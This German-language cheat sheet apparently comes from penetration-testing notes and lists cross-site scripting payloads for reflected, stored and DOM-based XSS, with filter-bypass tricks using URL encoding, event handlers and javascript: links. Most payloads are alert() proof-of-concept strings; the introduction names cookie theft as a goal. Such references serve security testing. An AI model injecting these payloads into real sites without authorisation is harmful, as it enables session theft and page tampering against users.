XSS Payloads

Ziel: XSS (Cross-Site Scripting) wird genutzt, um bösartige Skripte in die Webseite eines Opfers einzuschleusen. Dies ermöglicht das Abgreifen von Cookies, das Manipulieren der Webseite oder das Ausführen beliebiger JavaScript-Befehle.

Reflected XSS

Diese Payloads werden direkt über die URL oder Formularparameter eingebracht und sofort vom Server reflektiert. Wann nutzen? Wenn Eingaben ohne Filterung oder Escape im HTML-Ausgang landen.

<script>alert('XSS');</script>
"><script>alert('XSS')</script>

Stored XSS

Die Payload wird dauerhaft in einer Datenbank oder auf der Seite gespeichert. Jeder Benutzer, der die Seite aufruft, wird dadurch betroffen. Wann nutzen? Wenn Eingaben dauerhaft gespeichert werden, z. B. in Kommentarfeldern oder Profilseiten.

<script>document.cookie="xss_test"</script>
"><svg/onload=alert(1)>

DOM-Based XSS

Hier findet die Verwundbarkeit nur auf der Client-Seite statt, oft durch unsichere JavaScript-Manipulationen im Browser. Wann nutzen? Wenn JavaScript-Eingaben (z. B. location, document.referrer) ungeprüft in die Seite integriert werden.

location.hash = "<img src='x' onerror='alert(document.domain)'>";

Filterumgehung

Wenn Sicherheitsmechanismen oder Filter XSS verhindern sollen, können folgende Tricks genutzt werden:

  • Encoding-Techniken: Umgehen Filter durch URL-Encoding.

%3Cscript%3Ealert('XSS')%3C%2Fscript%3E
  • Event-Handler: Alternative Methoden zur Ausführung von JavaScript.

<img src="x" onerror="alert('XSS')">
<a href="javascript:alert('XSS')">Click Me</a>

Last updated